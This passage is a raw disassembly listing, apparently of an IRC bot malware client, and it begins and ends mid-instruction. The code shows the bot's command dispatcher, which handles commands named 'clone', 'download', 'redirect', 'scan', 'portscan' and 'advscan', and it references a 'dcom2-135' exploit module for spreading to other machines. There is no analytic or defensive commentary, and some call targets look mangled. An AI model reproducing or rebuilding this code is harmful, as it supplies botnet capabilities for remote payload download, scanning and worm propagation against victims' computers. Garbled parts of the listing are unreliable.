[ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443EA0 push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 14h jmp short loc_4093D7 ; --------------------------------------------------------------------------- loc_4093B7: ; CODE XREF: sub_4021E5+719Bj push offset dword_443EC4 call sub_41A5B6 pop ecx push eax push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 0Ch loc_4093D7: ; CODE XREF: sub_4021E5+71D0j cmp [ebp+var_4], 0 jnz short loc_4093FD push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4093FD: ; CODE XREF: sub_4021E5+71F6j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409412: ; CODE XREF: sub_4021E5+7173j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jnz short loc_40942A push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40942A: ; CODE XREF: sub_4021E5+723Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aClone_0 ; "clone" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_409468 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC ; "c" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4095E7 loc_409468: ; CODE XREF: sub_4021E5+7260j push 7Fh mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] lea eax, [ebp+var_2CA4] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_421670 pop ecx mov [ebp+var_2B54], eax push 3Fh mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] lea eax, [ebp+var_2C24] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_90], 0 jz short loc_4094EB push 3Fh mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] lea eax, [ebp+var_2BE4] push eax call sub_421470 add esp, 0Ch loc_4094EB: ; CODE XREF: sub_4021E5+72E6j mov [ebp+var_2B50], 1 lea eax, [ebp+var_2C24] push eax push [ebp+var_2B54] lea eax, [ebp+var_2CA4] push eax push offset dword_443EDC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 14h push 0 push 1Fh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_2CA8] push eax push offset sub_401DEC push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_2B4C] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_2B4C] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_409591 loc_40957C: ; CODE XREF: sub_4021E5+73A8j cmp [ebp+var_2B48], 0 jnz short loc_40958F push 32h nop call near ptr 27A0000h jmp short loc_40957C ; --------------------------------------------------------------------------- loc_40958F: ; CODE XREF: sub_4021E5+739Ej jmp short loc_4095AC ; --------------------------------------------------------------------------- loc_409591: ; CODE XREF: sub_4021E5+7395j nop call near ptr 27A0A66h push eax push offset dword_443F0C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_4095AC: ; CODE XREF: sub_4021E5:loc_40958Fj cmp [ebp+var_4], 0 jnz short loc_4095D2 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4095D2: ; CODE XREF: sub_4021E5+73CBj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4095E7: ; CODE XREF: sub_4021E5+727Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDownload ; "download" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_409625 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDl ; "dl" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409869 loc_409625: ; CODE XREF: sub_4021E5+741Dj push 0FFh mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] lea eax, [ebp+var_2ECC] push eax call sub_421470 add esp, 0Ch push 0FFh mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] lea eax, [ebp+var_2DCC] push eax call sub_421470 add esp, 0Ch and [ebp+var_2CC8], 0 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jz short loc_409699 mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx mov [ebp+var_4158], eax jmp short loc_4096A0 ; --------------------------------------------------------------------------- loc_409699: ; CODE XREF: sub_4021E5+7497j and [ebp+var_4158], 0 loc_4096A0: ; CODE XREF: sub_4021E5+74B2j mov eax, [ebp+var_4158] mov [ebp+var_2CC4], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_90], 0 jz short loc_4096DD push 10h push 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_4223B0 add esp, 0Ch mov [ebp+var_415C], eax jmp short loc_4096E4 ; --------------------------------------------------------------------------- loc_4096DD: ; CODE XREF: sub_4021E5+74D5j and [ebp+var_415C], 0 loc_4096E4: ; CODE XREF: sub_4021E5+74F6j mov eax, [ebp+var_415C] mov [ebp+var_2CBC], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz short loc_40971B mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] call sub_421670 pop ecx mov [ebp+var_4160], eax jmp short loc_409722 ; --------------------------------------------------------------------------- loc_40971B: ; CODE XREF: sub_4021E5+7519j and [ebp+var_4160], 0 loc_409722: ; CODE XREF: sub_4021E5+7534j mov eax, [ebp+var_4160] mov [ebp+var_2CC0], eax movzx eax, [ebp+var_36F] mov [ebp+var_2CB8], eax mov eax, [ebp+arg_4] mov [ebp+var_2F50], eax push 7Fh push [ebp+var_98] lea eax, [ebp+var_2F4C] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_2CB0], eax mov eax, [ebp+var_4] mov [ebp+var_2CB4], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443F58 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h push [ebp+arg_4] push 1Dh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_2CCC], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_2F50] push eax push offset byte_418FCD push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_2CCC] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_2CCC] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_409813 loc_4097FE: ; CODE XREF: sub_4021E5+762Aj cmp [ebp+var_2CAC], 0 jnz short loc_409811 push 32h nop call near ptr 27A0000h jmp short loc_4097FE ; --------------------------------------------------------------------------- loc_409811: ; CODE XREF: sub_4021E5+7620j jmp short loc_40982E ; --------------------------------------------------------------------------- loc_409813: ; CODE XREF: sub_4021E5+7617j call near ptr 27A0A66h nop push eax push offset unk_443F84 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40982E: ; CODE XREF: sub_4021E5:loc_409811j cmp [ebp+var_4], 0 jnz short loc_409854 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_409854: ; CODE XREF: sub_4021E5+764Dj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409869: ; CODE XREF: sub_4021E5+743Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRedirect ; "redirect" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4098A7 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRd ; "rd" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409A2A loc_4098A7: ; CODE XREF: sub_4021E5+769Fj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx mov [ebp+var_2F6C], eax push 7Fh mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] lea eax, [ebp+var_3070] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx mov [ebp+var_2F70], eax mov eax, [ebp+arg_4] mov [ebp+var_3078], eax push [ebp+var_98] push 80h lea eax, [ebp+var_2FF0] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_2F60], eax mov eax, [ebp+var_4] mov [ebp+var_2F5C], eax push [ebp+var_2F70] lea eax, [ebp+var_3070] push eax push [ebp+var_2F6C] push [ebp+arg_4] call sub_40C86E pop ecx push eax push offset unk_443FD4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 18h push 0 push 18h lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_2F68], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_3078] push eax push offset byte_415DBF push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_2F68] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_2F68] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_4099D4 loc_4099BF: ; CODE XREF: sub_4021E5+77EBj cmp [ebp+var_2F58], 0 jnz short loc_4099D2 push 32h nop call near ptr 27A0000h jmp short loc_4099BF ; --------------------------------------------------------------------------- loc_4099D2: ; CODE XREF: sub_4021E5+77E1j jmp short loc_4099EF ; --------------------------------------------------------------------------- loc_4099D4: ; CODE XREF: sub_4021E5+77D8j call near ptr 27A0A66h nop push eax push offset unk_444010 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_4099EF: ; CODE XREF: sub_4021E5:loc_4099D2j cmp [ebp+var_4], 0 jnz short loc_409A15 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_409A15: ; CODE XREF: sub_4021E5+780Ej lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409A2A: ; CODE XREF: sub_4021E5+76BCj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aScan_1 ; "scan" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_409A68 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSc ; "sc" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409BDF loc_409A68: ; CODE XREF: sub_4021E5+7860j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call dword_4E1740 ; inet_addr mov [ebp+var_3090], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_421670 pop ecx mov [ebp+var_30A0], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx mov [ebp+var_3098], eax mov eax, [ebp+arg_4] mov [ebp+var_3124], eax push 7Fh push [ebp+var_98] lea eax, [ebp+var_3120] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_3088], eax mov eax, [ebp+var_4] mov [ebp+var_3084], eax push [ebp+var_3098] push [ebp+var_30A0] push [ebp+var_3090] call dword_4E178C ; inet_ntoa push eax push offset unk_444060 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 14h push 0 push 0Bh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_3094], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_3124] push eax push offset dword_40F354 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_3094] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_3094] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_409B89 loc_409B74: ; CODE XREF: sub_4021E5+79A0j cmp [ebp+var_3080], 0 jnz short loc_409B87 push 32h call near ptr 27A0000h nop jmp short loc_409B74 ; --------------------------------------------------------------------------- loc_409B87: ; CODE XREF: sub_4021E5+7996j jmp short loc_409BA4 ; --------------------------------------------------------------------------- loc_409B89: ; CODE XREF: sub_4021E5+798Dj nop call near ptr 27A0A66h push eax push offset unk_44409C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_409BA4: ; CODE XREF: sub_4021E5:loc_409B87j cmp [ebp+var_4], 0 jnz short loc_409BCA push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_409BCA: ; CODE XREF: sub_4021E5+79C3j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409BDF: ; CODE XREF: sub_4021E5+787Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_privmsg ; "c_privmsg" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_409C1D mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_pm ; "c_pm" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409DD6 loc_409C1D: ; CODE XREF: sub_4021E5+7A15j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h movsx eax, byte_454630[eax] test eax, eax jz loc_409DCE cmp [ebp+var_2D4], 0 jz loc_409DCE mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] call sub_41EBD0 pop ecx mov esi, [ebp+var_2D4] add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_41EBD0 pop ecx add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_41EBD0 pop ecx lea eax, [esi+eax+2] mov [ebp+var_2D4], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_3128], eax cmp [ebp+var_3128], 0 jz loc_409DCE mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle loc_409DCE mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge loc_409DCE push 0 push 0 push [ebp+var_3128] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40B00F add esp, 14h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h movsx eax, byte_454418[eax] cmp eax, 73h jnz short loc_409DCE push [ebp+var_3128] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h add eax, offset byte_454630 push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset aSSS ; "[%s] <%s> %s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 14h push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_409DCE: ; CODE XREF: sub_4021E5+7A5Aj ; sub_4021E5+7A67j ... mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409DD6: ; CODE XREF: sub_4021E5+7A32j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_action ; "c_action" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_409E14 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset off_444104 call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409FE8 loc_409E14: ; CODE XREF: sub_4021E5+7C0Cj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h movsx eax, byte_454630[eax] test eax, eax jz loc_409FE0 cmp [ebp+var_2D4], 0 jz loc_409FE0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] call sub_41EBD0 pop ecx mov esi, [ebp+var_2D4] add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_41EBD0 pop ecx add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_41EBD0 pop ecx lea eax, [esi+eax+2] mov [ebp+var_2D4], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_312C], eax push [ebp+var_312C] push offset dword_444108 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_312C], 0 jz loc_409FE0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle loc_409FE0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge loc_409FE0 push 0 push 0 lea eax, [ebp+var_858] push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40B00F add esp, 14h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h movsx eax, byte_454418[eax] cmp eax, 73h jnz short loc_409FE0 push [ebp+var_312C] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h add eax, offset byte_454630 push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset dword_444114 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 14h push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_409FE0: ; CODE XREF: sub_4021E5+7C51j ; sub_4021E5+7C5Ej ... mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409FE8: ; CODE XREF: sub_4021E5+7C29j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_90], 0 jnz short loc_40A000 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40A000: ; CODE XREF: sub_4021E5+7E11j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPortscan ; "portscan" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40A03E mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPsc ; "psc" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40A1D4 loc_40A03E: ; CODE XREF: sub_4021E5+7E36j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_40C670 pop ecx mov [ebp+var_3144], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_421670 pop ecx mov [ebp+var_3154], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx mov [ebp+var_3150], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_421670 pop ecx mov [ebp+var_314C], eax mov eax, [ebp+arg_4] mov [ebp+var_31D8], eax push 7Fh push [ebp+var_98] lea eax, [ebp+var_31D4] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_313C], eax mov eax, [ebp+var_4] mov [ebp+var_3138], eax push [ebp+var_3150] push [ebp+var_3154] push [ebp+var_314C] push [ebp+var_3144] call dword_4E178C ; inet_ntoa push eax push offset unk_444134 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 18h push 0 push 0Bh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_3148], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_31D8] push eax push offset word_40F4BE push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_3148] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_3148] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_40A17E loc_40A169: ; CODE XREF: sub_4021E5+7F95j cmp [ebp+var_3134], 0 jnz short loc_40A17C push 32h nop call near ptr 27A0000h jmp short loc_40A169 ; --------------------------------------------------------------------------- loc_40A17C: ; CODE XREF: sub_4021E5+7F8Bj jmp short loc_40A199 ; --------------------------------------------------------------------------- loc_40A17E: ; CODE XREF: sub_4021E5+7F82j nop call near ptr 27A0A66h push eax push offset unk_444184 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40A199: ; CODE XREF: sub_4021E5:loc_40A17Cj cmp [ebp+var_4], 0 jnz short loc_40A1BF push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40A1BF: ; CODE XREF: sub_4021E5+7FB8j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40A1D4: ; CODE XREF: sub_4021E5+7E53j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aAdvscan ; "advscan" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40A212 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aAsc ; "asc" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40A830 loc_40A212: ; CODE XREF: sub_4021E5+800Aj push 0Bh call sub_40D6D9 pop ecx mov [ebp+var_31DC], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_421670 pop ecx mov ecx, [ebp+var_31DC] add ecx, eax cmp ecx, 1F4h jle short loc_40A282 push [ebp+var_31DC] push offset unk_4441CC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h jmp loc_40A82B ; --------------------------------------------------------------------------- loc_40A282: ; CODE XREF: sub_4021E5+805Cj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx mov [ebp+var_3214], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_421670 pop ecx mov [ebp+var_31FC], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx mov [ebp+var_3210], eax cmp [ebp+var_3210], 5 jnb short loc_40A2E2 mov [ebp+var_4164], 5 jmp short loc_40A2EE ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_4021E5+80EFj mov eax, [ebp+var_3210] mov [ebp+var_4164], eax loc_40A2EE: ; CODE XREF: sub_4021E5+80FBj mov eax, [ebp+var_4164] mov [ebp+var_3210], eax cmp [ebp+var_3210], 3Ch jbe short loc_40A30F mov [ebp+var_4168], 3Ch jmp short loc_40A31B ; --------------------------------------------------------------------------- loc_40A30F: ; CODE XREF: sub_4021E5+811Cj mov eax, [ebp+var_3210] mov [ebp+var_4168], eax loc_40A31B: ; CODE XREF: sub_4021E5+8128j mov eax, [ebp+var_4168] mov [ebp+var_3210], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_421670 pop ecx mov [ebp+var_320C], eax cmp [ebp+var_320C], 320h jbe short loc_40A358 mov [ebp+var_416C], 320h jmp short loc_40A364 ; --------------------------------------------------------------------------- loc_40A358: ; CODE XREF: sub_4021E5+8165j mov eax, [ebp+var_320C] mov [ebp+var_416C], eax loc_40A364: ; CODE XREF: sub_4021E5+8171j mov eax, [ebp+var_416C] mov [ebp+var_320C], eax or [ebp+var_31F8], 0FFFFFFFFh and [ebp+var_5D8], 0 jmp short loc_40A38D ; --------------------------------------------------------------------------- loc_40A380: ; CODE XREF: sub_4021E5:loc_40A3E9j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40A38D: ; CODE XREF: sub_4021E5+8199j mov eax, [ebp+var_5D8] shl eax, 6 cmp dword_448FE8[eax], 0 jz short loc_40A3EB mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] mov eax, [ebp+var_5D8] shl eax, 6 add eax, offset aDcom2135 ; "dcom2-135" push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40A3E9 mov eax, [ebp+var_5D8] shl eax, 6 mov eax, dword_448FE8[eax] mov [ebp+var_3214], eax mov eax, [ebp+var_5D8] mov [ebp+var_31F8], eax jmp short loc_40A3EB ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_4021E5+81DFj jmp short loc_40A380 ; --------------------------------------------------------------------------- loc_40A3EB: ; CODE XREF: sub_4021E5+81B8j ; sub_4021E5+8202j cmp [ebp+var_3214], 0 jnz short loc_40A442 push offset unk_44420C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_40A42D push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40A42D: ; CODE XREF: sub_4021E5+8226j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_4021E5+820Dj mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz short loc_40A4AC mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_8C] movsx eax, byte ptr [eax] cmp eax, 23h jz short loc_40A4AC mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] push 10h lea eax, [ebp+var_3328] push eax call sub_421B90 add esp, 0Ch push 78h mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] call sub_422680 pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_31E8], eax jmp loc_40A61F ; --------------------------------------------------------------------------- loc_40A4AC: ; CODE XREF: sub_4021E5+826Bj ; sub_4021E5+8280j movzx eax, [ebp+var_373] test eax, eax jnz short loc_40A4D1 movzx eax, [ebp+var_372] test eax, eax jnz short loc_40A4D1 movzx eax, [ebp+var_362] test eax, eax jz loc_40A5D1 loc_40A4D1: ; CODE XREF: sub_4021E5+82D0j ; sub_4021E5+82DBj mov [ebp+var_333C], 10h lea eax, [ebp+var_333C] push eax lea eax, [ebp+var_3338] push eax push [ebp+arg_4] call dword_4E16A4 ; getsockname movzx eax, [ebp+var_373] neg eax sbb eax, eax and ax, 100h add eax, 0FFFFh mov ecx, [ebp+var_3334] and ecx, eax mov [ebp+var_3334], ecx push 10h push [ebp+var_3334] call dword_4E178C ; inet_ntoa push eax lea eax, [ebp+var_3328] push eax call sub_421470 add esp, 0Ch movzx eax, [ebp+var_362] test eax, eax jz loc_40A5C8 movzx eax, [ebp+var_373] neg eax sbb eax, eax neg eax inc eax inc eax mov [ebp+var_3348], eax push 30h lea eax, [ebp+var_3328] push eax call sub_422510 pop ecx pop ecx mov [ebp+var_3340], eax and [ebp+var_3344], 0 jmp short loc_40A5A2 ; --------------------------------------------------------------------------- loc_40A575: ; CODE XREF: sub_4021E5+83D5j mov eax, [ebp+var_3340] mov byte ptr [eax], 78h push 30h lea eax, [ebp+var_3328] push eax call sub_422510 pop ecx pop ecx mov [ebp+var_3340], eax mov al, [ebp+var_3344] add al, 1 mov [ebp+var_3344], al loc_40A5A2: ; CODE XREF: sub_4021E5+838Ej movsx eax, [ebp+var_3344] cmp eax, [ebp+var_3348] jge short loc_40A5BC cmp [ebp+var_3340], 0 jz short loc_40A5BC jmp short loc_40A575 ; --------------------------------------------------------------------------- loc_40A5BC: ; CODE XREF: sub_4021E5+83CAj ; sub_4021E5+83D3j mov [ebp+var_31E8], 1 jmp short loc_40A5CF ; --------------------------------------------------------------------------- loc_40A5C8: ; CODE XREF: sub_4021E5+8356j and [ebp+var_31E8], 0 loc_40A5CF: ; CODE XREF: sub_4021E5+83E1j jmp short loc_40A61F ; --------------------------------------------------------------------------- loc_40A5D1: ; CODE XREF: sub_4021E5+82E6j push offset unk_444240 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_40A60A push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40A60A: ; CODE XREF: sub_4021E5+8403j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40A61F: ; CODE XREF: sub_4021E5+82C2j ; sub_4021E5:loc_40A5CFj mov eax, [ebp+arg_4] mov [ebp+var_3218], eax mov eax, [ebp+var_85C] mov [ebp+var_31F0], eax mov eax, [ebp+var_4] mov [ebp+var_31EC], eax push [ebp+var_98] push 80h lea eax, [ebp+var_3318] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_88], 0 jz short loc_40A68A mov eax, [ebp+var_BC] push [ebp+eax*4+var_88] push 80h lea eax, [ebp+var_3298] push eax call sub_421B90 add esp, 0Ch jmp short loc_40A709 ; --------------------------------------------------------------------------- loc_40A68A: ; CODE XREF: sub_4021E5+8480j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz short loc_40A6D2 mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_8C] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A6D2 mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] push 80h lea eax, [ebp+var_3298] push eax call sub_421B90 add esp, 0Ch jmp short loc_40A709 ; --------------------------------------------------------------------------- loc_40A6D2: ; CODE XREF: sub_4021E5+84B3j ; sub_4021E5+84C8j push offset 